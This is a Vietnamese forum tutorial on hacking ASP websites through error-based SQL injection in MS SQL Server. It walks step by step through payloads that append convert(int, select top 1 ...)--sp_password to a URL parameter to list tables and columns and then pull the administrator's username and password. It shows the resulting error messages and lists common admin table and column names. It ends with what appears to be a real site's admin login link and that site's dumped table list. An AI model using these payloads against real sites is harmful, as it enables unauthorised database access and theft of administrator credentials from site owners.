Đây là một bài viết căn bản để anh em nghiên cứu các bước hack site asp dính bug.

Ví DỤ http://domain/shop.asp?nid=1

Bây giờ ta thêm Dấu ' vào Đằng sau link và nó hiện ra cái này
Trích dẫn
Microsoft OLE DB Provider for SQL Server error '80040e14'

Unclosed quotation mark after the character string ''...........


Đó , cái site bị dính lỗi
bây giờ ta Dùng Câu Truy vấn Để lấy Table Đầu Tiên
and 1=convert(int,(select top 1 table_name from information_schema.tables))--sp_password


Thêm nó vào đằng sau link và Bỏ dấu ' đi nhá
Nó sẽ trở thành như sau
http://domain/shop.asp?nid=1 and 1=convert(int,(select top 1 table_name from information_schema.tables))--sp_password


Ta đc table đầu tiên
Típ ta lấy table tiếp theo bằng câu lệnh sau
and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('Tabel_đầu')))--sp_password


và nó sẽ ra table thứ 2
Tiếp đến Các bạn lấy Tiếp table bằng cách
and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('table1,'Table2')))--sp_password


mỗi table cách nhau bởi dấu ,
ok thế là ra table tiếp và cứ thế Nó ra 1 đống table

Ví dụ ta để ý cái table cuối cùng là
'vwAdmin' Chứa thông Tin Của Admin
bây giờ Tiếp Tục ta Lấy Columns ta sẽ khai thác table ==>'vwAdmin'
ta dùng lệnh sau
and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='Table_muốn_lấy'))--sp_password


ok Nó ra Columns đầu

bây giờ ta Đi lấy Colums tiếp Nhá
and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='table chứa admin' and column_name not in('Columns đầu')))--sp_password


và Cũng như Lấy table lấy colums tiếp theo Cũng Cách nhau bởi dấu ,

bây giờ Chúng ta kết hợp cả Table và Colums vừa khai thác Đc để lấy Nick và pass Của Admin nhá
và đây là câu lệnh
and 1=convert(int,(select top 1 convert(varchar,isnull(convert(varchar,ALogin),'NU LL')) %2b'/'bconvert(varchar,isnull(convert(varchar,APass),'N ULL')) from tblAdmin order by Alogin asc))--sp_password



he he nó Ra cái gì nè
Trích dẫn
Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the varchar value 'User/pass' to data type int.


Các Table và Column thường được sử dụng để chứa thông tin Admin
Tớ thêm phần này để các bạn khỏi mất công tìm kiếm các Table và các Column
- Table: tblAdmin, Admin, User
- Column: ALogin, APass, Username, Password





















http://sieunhanvietnam.net/Dang-nhap/pageid/5 ~~> link admin

List of tables
tblOrderDetail
boybin86
ckj
dtproperties
sysconstraints
syssegments
tblAdmin
tblCategory
tblCompany
tblConfig
tblCustomer
tblFeedback
tblLogo
tblNews
tblOrder
tblProduct
vwAdmin
vwCategory
vwCompany
vwCPC
vwCustomer
vwDT
vwFeedBack
vwLogo
vwNews
vwOrder
vwProduct

--------------------------------------------------
Xem các chủ đề cùng chuyên mục: